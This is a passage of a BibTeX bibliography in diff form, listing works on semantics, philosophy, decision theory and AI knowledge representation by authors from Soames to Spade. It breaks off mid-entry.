+ pages = {47--87}, + xref = {Republications: in salmon-soames:1988a, soames:1987a2.}, + topic = {reference;foundations-of-semantics;propositional-attitudes;} + } + +@incollection{ soames:1987a2, + author = {Scott Soames}, + title = {Direct Reference, Propositional Attitudes, + and Semantic Content}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {921--962}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: soames:1987a1.}, + topic = {reference;foundations-of-semantics;propositional-attitudes;} + } + +@incollection{ soames:1987b, + author = {Scott Soames}, + title = {Substitutivity}, + booktitle = {On Being and Saying: Essays for Richard Cartwright}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {James J. Thomson}, + pages = {99--132}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-semantics;propositional-attitudes;} + } + +@incollection{ soames:1988a, + author = {Scott Soames}, + title = {Direct Reference, Propositional Attitudes, and Semantic Content}, + booktitle = {Propositions and Attitudes}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Nathan Salmon and Scott Soames}, + pages = {197--239}, + address = {Oxford}, + topic = {reference;foundations-of-semantics;propositional-attitudes;} + } + +@incollection{ soames:1989a, + author = {Scott Soames}, + title = {Presupposition}, + booktitle = {Handbook of Philosophical Logic, Volume 4}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Dov Gabbay and Franz Guenthner}, + pages = {553--616}, + address = {Dordrecht}, + topic = {presupposition;pragmatics;} + } + +@incollection{ soames:1989b, + author = {Scott Soames}, + title = {Semantics and Semantic Competence}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {575--596}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {foundations-of-semantics;philosophy-of-language; + psychological-reality;} + } + +@incollection{ soames:1989c, + author = {Scott Soames}, + title = {Direct Reference and Propositional Attitudes}, + booktitle = {Themes from {K}aplan}, + publisher = {Oxford University Press}, + year = {1989}, + editor = {Joseph Almog and John Perry and Howard Wettstein}, + pages = {393--419}, + address = {Oxford}, + topic = {reference;foundations-of-semantics;propositional-attitudes;} + } + +@article{ soames:1989d, + author = {Scott Soames}, + title = {Subject-Auxiliary Inversion and Gaps in {\it Generalized + Phrase Structure Grammar}}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {373--382}, + topic = {GPSG;} + } + +@article{ soames:1991a, + author = {Scott Soames}, + title = {The Necessity Argument}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {5}, + pages = {575--580}, + xref = {Commentary on katz_jj-postal:1991a.}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ soames:1994a, + author = {Scott Soames}, + title = {Attitudes and Anaphora}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {251--272}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {propositional-attitudes;anaphora;} + } + +@article{ soames:1998a, + author = {Scott Soames}, + title = {The Modal Argument: Wide Scope and Rigidified Descriptions}, + journal = {No\^us}, + year = {1998}, + volume = {32}, + number = {1}, + pages = {1--22}, + contentnote = {Considers (and considers inadequate) criticisms of + kripke:1972a.}, + topic = {reference;modality;} + } + +@incollection{ soames:1998b, + author = {Scott Soames}, + title = {Facts, Truth-Conditions, and the Skeptical Solution + to the Rule-Following Paradox}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {313--348}, + address = {Oxford}, + topic = {rule-following;foundations-of-semantics;} + } + +@book{ soames:1999a, + author = {Scott Soames}, + title = {Understanding Truth}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + xref = {Commentary: robertson_t:2000a.}, + topic = {truth;philosophy-of-language;vagueness;} + } + +@article{ sobel_i:1974a, + author = {Irwin Sobel}, + title = {On Calibrating Computer Controlled Cameras for Perceiving + {3-D} Scenes}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {2}, + pages = {185--198}, + topic = {three-D-imaging;} + } + +@article{ sobel_jh:1968a, + author = {Jordan Howard Sobel}, + title = {Rule-Utilitarianism}, + journal = {Australasian Journal of Philosophy}, + year = {1968}, + volume = {46}, + pages = {146--165}, + topic = {utilitarianism;} + } + +@article{ sobel_jh:1971a, + author = {Jorden Howard Sobel}, + title = {Value, Alternatives, and Utilitarianism}, + journal = {Nous}, + year = {1971}, + volume = {4}, + pages = {373--384}, + topic = {utilitarianism;} + } + +@article{ sobel_jh:1976a, + author = {Jordan Howard Sobel}, + title = {Utilitarianism and Past and Future Mistakes}, + journal = {No\^us}, + year = {1976}, + volume = {10}, + pages = {195--219}, + topic = {utilitarianism;} + } + +@unpublished{ sobel_jh:1984a, + author = {Jordan Howard Sobel}, + title = {Towards a Theory of Rational Agency Based on Probable + Choice}, + year = {1984}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {foundations-of-utility;} + } + +@incollection{ sobel_jh:1985a, + author = {Jordan Howard Sobel}, + title = {Not Every Prisoner's Dilemma is a {N}ewcomb Problem}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {263--274}, + address = {Vancouver}, + topic = {prisoner's-dilemma;} + } + +@inproceedings{ sobel_jh:1990a, + author = {Jordan Howard Sobel}, + title = {Conditional Probabilities, Conditionalization, and {D}utch + Books}, + booktitle = {{PSA} 1990: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 1}, + year = {1990}, + editor = {Arthur Fine and Micky Forbes and Linda Wessels}, + pages = {503--515}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {probability-kinematics;} + } + +@inproceedings{ sobel_jh:1992a, + author = {Jordan Howard Sobel}, + title = {Kings and Prisoners (and Aces)}, + booktitle = {{PSA} 1992: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 1}, + year = {1992}, + editor = {David Hull and Micky Forbes and Kathleen Okruhlik}, + pages = {203--216}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {probability-kinematics;} + } + +@book{ sobel_jh:1994a, + author = {Jordan Howard Sobel}, + title = {Taking Chances}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + xref = {Review: gardner_r:2000a.}, + topic = {causal-decision-theory;} + } + +@article{ sobel_jh:1997a, + author = {Jordan Howard Sobel}, + title = {Cyclical Preferences and World {B}ayesianism}, + journal = {Philosophy of Science}, + year = {1997}, + volume = {64}, + number = {1}, + pages = {42--73}, + topic = {preferences;causal-decision-theory;foundations-of-utility;} + } + +@book{ sobel_jh:1998a, + author = {Jordan Howard Sobel}, + title = {Puzzles of the Will}, + publisher = {University of Toronto Press}, + year = {1998}, + address = {Toronto}, + contentnote = {TC: + 1. Logical Fatalism + 2. Predicted Choices + 3. Free Will and Varieties of Determinism + 4. Newcomb Denuo, Omniscience and `Choiceless Freedom' + 5. Looking Back + } , + ISBN = {0-8020-4326-7}, + topic = {(in)determinism;volition;} + } + +@article{ sober:1980a, + author = {Elliot Sober}, + title = {Language and Psychological Reality: Some Reflections + on {C}homsky's {\it Rules and Representations}}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {395--405}, + topic = {psychological-reality;philosophy-of-linguistics;} + } + +@article{ sober:1999a, + author = {Elliot Sober}, + title = {Testability}, + journal = {Proceedings and Addresses of the {A}merican + {P}hilosophical {A}ssociation}, + year = {1999}, + volume = {72}, + number = {2}, + pages = {47--76}, + topic = {confirmation-theory;empiricism;philosophy-of-science;} + } + +@book{ socherambrosius-johann:1997a, + author = {Rolf Socher-Ambrosius and Patricia Johann}, + title = {Deduction Systems}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + xref = {Review: marx_m:1999a.}, + topic = {theorem-proving;resolution;} + } + +@inproceedings{ soderland-etal:1995a, + author = {Stephen Soderland and David Fisher and Jonathan Aseltine + and Wendy Lehnert}, + title = {{CRYSTAL}: Inducing a Conceptual Dictionary}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1314--1319}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {text-skimming;lexical-semantics;} + } + +@inproceedings{ soller-etal:1999a, + author = {Amy Soller and Alan Lesgold and Frank Linton and Brad + Goodwin}, + title = {What Makes Peer Interaction Effective? + Modeling Effective Communication in an Intelligent + {CSCL}}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {116--124}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;intelligent-tutoring;} + } + +@incollection{ solnon-rueher:1994a, + author = {Christine Solnon and Michel Rueher}, + title = {Propagation of Inter-Argument Dependencies in + `Tuple--Distributive' Type Inference Systems}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {199--214}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@article{ solomon:2001a, + author = {Robert Solomon}, + title = {Review of {\em Alchemies of the Mind: Rationality and the + Emotions,} by {J}on {E}lster}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {104--107}, + xref = {Review of elster:1999a.}, + topic = {emotion;rationality;} + } + +@inproceedings{ soloway-etal:1987a, + author = {Elliot Soloway and Judy Bachant and Keith Jensen}, + title = {Assessing the Maintainability of {X}con-in-Rime: + Coping with the Problems of a Very Large Rule Base}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {824--829}, + organization = {American Association for Artificial Intelligence}, + publisher = {The {MIT} Press}, + address = {Cambridge, MA}, + topic = {kr;expert-systems;experimental-testing-of-kr-systems; + AI-system-evaluation;kr-course;} + } + +@incollection{ somers:1998a, + author = {Harold Somers}, + title = {An Attempt to Use Weighted Cusums to Identify + Sublanguages}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {131--139}, + address = {Somerset, New Jersey}, + topic = {sublanguage-identification;statistical-nlp;} + } + +@article{ somers_h1:1999a, + author = {Harold H. Somers}, + title = {Aligning Phonetic Segments for Children's Articulation + Assessment}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {267--274}, + topic = {text-alignment;phonetic-alignment;} + } + +@book{ somers_hl:1991a, + editor = {Harold L. Somers}, + title = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + note = {{COSMOS} Report No. 19}, + contentnote = {TC: + 1. Mike Rosner, "Dialogue Games and Constraints" + 2. Kjell Johan S{\ae}b{\o}, "Partition Semantics and Cooperative + Response" + 3. Harold Somers, "Example-Based {MT} and Dialogue" + 4. Espen J. Vestre, "An Algorithm for Generating Non-Redundant + Quantifier Scopings" + 5. David Sedlock, "Aggregate Functions" + 6. Hans Siggard Jensen, "Extension and Intension in Anaphora + Resolution" + 7. Lieve Debille, "Anaphora Resolution in {MMI2}" + 8. David Sedlock, "Discussion of Anaphora Resolution in {MMI2}" + 9. C.J. Rupp, "Quantifiers and Circumstances" + 10. Gregers Koch, "Preliminary Investigations of the Implementation + of {PTQ} by Use of Data Flow" + 11. Hans Sigurd Jensen, "Formal and Cognitive Semantics" + 12. Christine Michaux, "Discussion of Dataflow in {M}ontagovian + Semantics and Formal and Cognitive Semantics" + }, + topic = {computational-semantics;discourse;} + } + +@incollection{ sommers_f:1976a, + author = {Fred Sommers}, + title = {On Predication and Logical Syntax}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {41--53}, + address = {Dordrecht}, + topic = {nl-semantic-types;} + } + +@techreport{ sommers_hl:1991a, + author = {Harold L. Sommers}, + title = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + institution = {Department of Mathematics, University of Oslo}, + year = {1991}, + address = {Oslo, Norway}, + missinginfo = {number}, + topic = {nl-semantics;discourse;pragmatics;} + } + +@book{ sommerville:1989a, + author = {Ian Sommerville}, + title = {Software Specification: A Comparison of Formal Methods}, + publisher = {Ablex Publishing Co.}, + year = {1994}, + edition = {3}, + address = {Norwood, New Jersey}, + ISBN = {1567500331}, + topic = {software-engineering;} + } + +@book{ sommerville:1996a, + author = {Ian Sommerville}, + title = {Software Engineering}, + publisher = {Addison-Wesley}, + year = {1996}, + address = {Reading, Massachusetts}, + edition = {4}, + ISBN = {0201427656 (alk. paper)}, + topic = {software-engineering-text;} + } + +@article{ son-baral:2001a, + author = {Tran Cao Son and Chitta Baral}, + title = {Formalizing Sensing Actions---A Transition Function + Based Approach}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {19--91}, + topic = {sensing-actions;} + } + +@article{ sondheimer:1978a, + author = {Norman Sondheimer}, + title = {Reference to Spatial Properties}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {2}, + pages = {235--280}, + topic = {spatial-language;nl-semantics;} + } + +@inproceedings{ song_f-cohen:1991a, + author = {Fei Song and Robin Cohen}, + title = {Tense Interpretation in the Context of Narrative}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {131--136}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {narratives;al-reasoning;nl-interpretation;} + } + +@article{ song_f-cohen:1996a, + author = {Fei Song and Robin Cohen}, + title = {A Strengthened Algorithm for Temporal Reasoning about Plans}, + journal = {Computational Intelligence}, + year = {1996}, + volume = {12}, + pages = {331--356}, + missinginfo = {number}, + topic = {temporal-reasoning;} + } + +@incollection{ song_ns:1998a, + author = {Nam Sun Song}, + title = {Metaphor and Metonymy}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {69--104}, + address = {Amsterdam}, + topic = {relevance-theory;metaphor;metonymy;} + } + +@article{ soon-etal:2001a, + author = {Wee Meng Soon and Hwee Tou Ng and Daniel Chung Yong Lim}, + title = {A Machine Learning Approach to Coreference Resolution of + Noun Phrases}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {521--544}, + topic = {anaphora-resolution;machine-learning;} + } + +@book{ sorabji:1972a, + editor = {Richard Sorabji}, + title = {Aristotle on Memory}, + publisher = {Brown University Press}, + year = {1972}, + address = {Providence}, + topic = {Aristotle;memory;} + } + +@book{ sorabji:1980a, + author = {Richard Sorabji}, + title = {Necessity, Cause and Blame: Perspectives on + {A}ristotle's Theory}, + publisher = {Duckworth}, + year = {1980}, + address = {London}, + ISBN = {0715613723}, + topic = {Aristotle;future-contingent-propositions;} + } + +@book{ sorabji:1983a, + author = {Richard Sorabji}, + title = {Time, Creation, and the Continuum: Theories in Antiquity and + the Early Middle Ages}, + publisher = {Cornell University Press}, + year = {1983}, + address = {Ithaca, New York}, + ISBN = {0801415934}, + topic = {ancient-physics;philosophy-of-time;ancient-philosophy; + ancient-physics;} + } + +@book{ sorabji:1988a, + author = {Richard Sorabji}, + title = {Matter, Space, and Motion: Theories in Antiquity and Their + Sequel}, + publisher = {Duckworth}, + year = {1988}, + address = {London}, + ISBN = {0716522056}, + topic = {Aristotle;ancient-physics;ancient-philosophy;} + } + +@book{ sorabji:1990a, + editor = {Richard Sorabji}, + title = {Aristotle Transformed: The Ancient Commentators and Their + Influence}, + publisher = {Duckworth}, + year = {1990}, + address = {London}, + ISBN = {0715622544}, + topic = {Aristotle;} + } + +@book{ sorabji:1993a, + author = {Richard Sorabji}, + title = {Animal Minds and Human Morals: The Origins of the {W}estern + Debate}, + publisher = {Cornell University Press}, + year = {1993}, + address = {Ithaca}, + ISBN = {080142948X}, + topic = {animal-cognition;} + } + +@book{ sorabji:1997a, + editor = {Richard Sorabji}, + title = {Aristotle and After}, + publisher = {Institute of Classical Studies, School of Advanced + Study, University of London}, + year = {1997}, + address = {London}, + ISBN = {0900587792}, + topic = {Aristotle;} + } + +@incollection{ sorensen:1997a, + author = {Roy Sorensen}, + title = {The Metaphysics of Precision and Scientific Language}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + address = {Oxford}, + missinginfo = {pages = {349--}}, + topic = {vagueness;} + } + +@article{ sorensen:1998a, + author = {Roy A. Sorensen}, + title = {Yablo's Paradox and Kindred Infinite Liars}, + journal = {Mind}, + year = {1998}, + volume = {107}, + number = {425}, + pages = {137--155}, + topic = {semantic-paradoxes;self-reference;} + } + +@article{ sorensen:1999a, + author = {Roy A. Sorensen}, + title = {Seeing Intersecting Eclipses}, + journal = {Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {1}, + pages = {25--49}, + topic = {philosophy-of-perception;} + } + +@article{ sorensen:1999b, + author = {Roy A. Sorensen}, + title = {Mirror Notation: Symbol Manipulation without + Inscription Manipulation}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {2}, + pages = {141--164}, + contentnote = {Idea is that you compute by changing your perspective + rather than the symbols with which you are computing.}, + topic = {foundations-of-computation;} + } + +@article{ sorensen_ra:1982a, + author = {Roy A. Sorensen}, + title = {Epistemic and Classical Validity}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {459--460}, + topic = {epistemic-semantics;} + } + +@article{ sorensen_ra:1990a, + author = {Roy A. Sorensen}, + title = {Process Vagueness}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {5}, + pages = {589--618}, + topic = {vagueness;} + } + +@article{ sorensen_ra:2000a, + author = {Roy A. Sorensen}, + title = {A Vague Demonstration}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {5}, + pages = {507--522}, + topic = {vagueness;demonstratives;} + } + +@incollection{ soria-ferrari:1998a, + author = {Claudia Soria and Giacomo Ferrari}, + title = {Lexical Marking of Discourse Relations---Some Experimental + Findings}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {43--49}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure; + empirical-methods-in-discourse;} + } + +@incollection{ soria-pirrelli:1999a, + author = {Claudia Soria and Vito Pirrelli}, + title = {A Recognition-Based Meta-Scheme for Dialogue Acts + Annotation}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {75--83}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;speech-acts;} + } + +@incollection{ soria-etal:2000a, + author = {Claudia Soria and Roldano Cattoni and Morena Danielli}, + title = {{ADAM}: An Architecture for {XML}-Based + Dialogue Annotation on Multiple Levels}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {9--18}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;corpus-annotation;corpus-tagging;} + } + +@incollection{ sorin-demori:1998a, + author = {Christel Sorin and Renato de Mori}, + title = {Sentence Generation}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {563--582}, + address = {New York}, + topic = {nl-generation;} + } + +@article{ sosa:1964a, + author = {Ernest Sosa}, + title = {On Knowledge and Context}, + journal = {The Journal of Philosophy}, + year = {1986}, + volume = {83}, + number = {10}, + pages = {584--585}, + topic = {knowledge;context;} + } + +@article{ sosa:1967a, + author = {Ernest Sosa}, + title = {Hypothetical Reasoning}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {10}, + pages = {293--305}, + topic = {conditionals;} + } + +@article{ sosa:1970a, + author = {Ernest Sosa}, + title = {Propositional Attitudes de Dictu and de Re}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {21}, + pages = {883--896}, + topic = {propositional-attitudes;} + } + +@book{ sosa:1975a, + editor = {Ernest Sosa}, + title = {Causation and Conditionals}, + publisher = {Oxford University Press}, + year = {1975}, + address = {Oxford}, + title = {Mind-Body Interaction and Supervenient Causation}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {271--281}, + address = {Minneapolis}, + topic = {causality;supervenience;philosophy-of-mind;} + } + +@article{ sosa:1986a, + author = {Ernest Sosa}, + title = {On Knowledge and Context}, + journal = {The Journal of Philosophy}, + year = {1986}, + volume = {83}, + number = {10}, + pages = {584--590}, + topic = {knowledge;propositional-attitudes;context;} + } + +@incollection{ sosa:1993a, + author = {Ernest Sosa}, + title = {Abilities, Concepts, and Externalism}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {309--328}, + address = {Oxford}, + topic = {internalism/externalism;ability;broad/narrow-content;} + } + +@incollection{ sosa:1993b, + author = {Ernest Sosa}, + title = {{D}avidson's Thinking Causes}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {41--50}, + address = {Oxford}, + topic = {mind-body-problem;causality;anomalous-monism;} + } + +@incollection{ sosa:1993c, + author = {Ernest Sosa}, + title = {Epistemology, Realism, and Truth: The First + Philosophical Perspectives Lecture}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {1--16}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {philosophical-realism;truth;} + } + +@article{ sosa:2000a, + author = {Ernest Sosa}, + title = {Review of {\it Papers in Metaphysics and + Epistemology}, by {D}avid {K}. {L}ewis}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {301--307}, + topic = {metaphysics;epistemplogy;} + } + +@book{ sosa-villanueva:2000a, + editor = {Ernest Sosa and Enrique Villanueva}, + title = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + address = {Oxford}, + topic = {skepticism;} + } + +@article{ sosa:2001a, + author = {David Sosa}, + title = {Rigidity in the Scope of Russell's Theory}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {1}, + pages = {1--38}, + topic = {proper-names;definite-descriptions;Russell;} + } + +@book{ sosa-villanueva:2001a, + editor = {Ernest Sosa and Enrique Villanueva}, + title = {Social, Political, and Legal Philosophy}, + publisher = {Blackwell Publishers}, + year = {2001}, + address = {Oxford}, + topic = {social-philosophy;political-philosophy;philosophy-of-law;} + } + +@inproceedings{ souther-etal:1989a, + author = {Art Souther and Liane Acker and James Lester and Bruce + Porter}, + title = {Using View Types to Generate Explanations in Intelligent + Tutoring Systems}, + year = {1989}, + booktitle = {Proceedings of the Eleventh Annual Conference of the + Cognitive Science Society}, + pages = {123--130}, + topic = {nl-generation;explanation;} +} + +@book{ sowa:1984a, + author = {John F. Sowa}, + title = {Conceptual Structures: Information Processing in Mind and + Machine}, + publisher = {Addison-Wesley}, + year = {1984}, + address = {Reading, Massachusetts}, + xref = {Reviews: clancey:1985a, smoliar:1987a.}, + topic = {kr;cognitive-semantics;visual-reasoning;} + } + +@article{ sowa:1989a, + author = {John F. Sowa}, + title = {Review of {\it Logical Foundations of Artificial + Intelligence}, by {M}ichael {R}. {G}enesereth and {N}ils {J}. + {N}ilsson}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {125--131}, + xref = {Review of: genesereth-nilsson_nj:1987a.}, + topic = {kr;AI-intro;AI-and-logic;kr-course;} + } + +@book{ sowa:1991a, + editor = {John F. Sowa}, + title = {Principles of Semantic Networks: Explorations in + the Representation of Knowledge}, + publisher = {Morgan Kaufmann}, + year = {1991}, + address = {San Mateo, California}, + topic = {kr;semantic-nets;kr-course;} + } + +@incollection{ sowa:1991b, + author = {John F. Sowa}, + title = {Towards the Expressive Power of Natural Language}, + booktitle = {Principles of Semantic Networks: Explorations in + the Representation of Knowledge}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {John F. Sowa}, + pages = {157--190}, + address = {San Mateo, California}, + topic = {kr;nl-kr;kr-course;} + } + +@incollection{ sowa:1992a, + author = {John Sowa}, + title = {Conceptual Graphs as a Universal Knowledge Representation}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {75--93}, + address = {Oxford}, + xref = {Also published in Computers and Mathematics with Applications; + vol. 23; 1992; 75--93}, + topic = {kr;conceptual-graphs;kr-course;} + } + +@inproceedings{ sowa:1993a, + author = {John F. Sowa}, + title = {Lexical and Conceptual Structures}, + booktitle = {Semantics and the Lexicon}, + year = {1993}, + editor = {James Pustejovsky}, + pages = {223--262}, + publisher = {Kluwer Academic Publishers}, + address = {Dordrecht}, + topic = {lexical-semantics;nl-kr;kr-course;} + } + +@article{ sowa:1993b, + author = {John F. Sowa}, + title = {Review of {\it Building Large Knowledge-Based Systems: + Representation and Inference in the {CYC} Project}, by + {D}.{B}. {L}enat and {R}.{V}. {G}uha}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {95--104}, + xref = {Review of lenat-guha:1989a.}, + topic = {kr;large-kr-systems;kr-course;} + } + +@inproceedings{ sowa:1995a, + author = {John Sowa}, + title = {Syntax, Semantics, and Pragmatics of Contexts}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {85--96}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;conceptual-graphs;} + } + +@inproceedings{ sowa:1997a, + author = {John F. Sowa}, + title = {Possible Worlds, Situations, Model Sets, and Contexts}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {161--172}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;logic-of-context;} + } + +@article{ sowa:1998a, + author = {John Sowa}, + title = {Review of {\it Language at Work: Analyzing + Communication Breakdown in the Workplace to + Inform Systems Design}, by {K}eith {D}evlin and + {D}uska {R}osenberg}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {649--651}, + topic = {miscommunication;} + } + +@book{ sowa:1999a, + author = {John F. Sowa}, + title = {Knowledge Representation: Logical, Philosophical, + and Computational Foundations}, + publisher = {Thomson Learning}, + year = {1999}, + address = {Stamford, Connecticut}, + xref = {Review: shapiro_sc:2001a.}, + topic = {kr-text;kr;} + } + +@article{ sowa:1999b, + author = {John Sowa}, + title = {Review of {\it Philosophy in the Flesh: The Embodied + Mind and its Challenge to {W}estern Thought}, by {G}eorge + {L}akoff and {M}ark {J}ohnson}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {631--634}, + xref = {Review of: lakoff-johnson:1999a.}, + topic = {metaphor;pragmatics;embodiment;} + } + +@inproceedings{ spaan_e:1990a, + author = {Edith Spaan}, + title = {Nexttime is not Necessary}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {241--256}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {temporal-reasoning;distributed-systems;} + } + +@incollection{ spaan_e:1993a, + author = {Edith Spaan}, + title = {The Complexity of Propositional Tense Logics}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {287--307}, + address = {Dordrecht}, + topic = {algorithmic-complexity;temporal-logic;} + } + +@techreport{ spaan_m:1990a, + author = {Martijn Spaan}, + title = {Parallel Quantification}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--93--01}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {branching-quantifiers;nl-quantifiers;} + } + +@article{ spade:1977a, + author = {Paul Vincent Spade}, + title = {General Semantic Closure}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {2}, + pages = 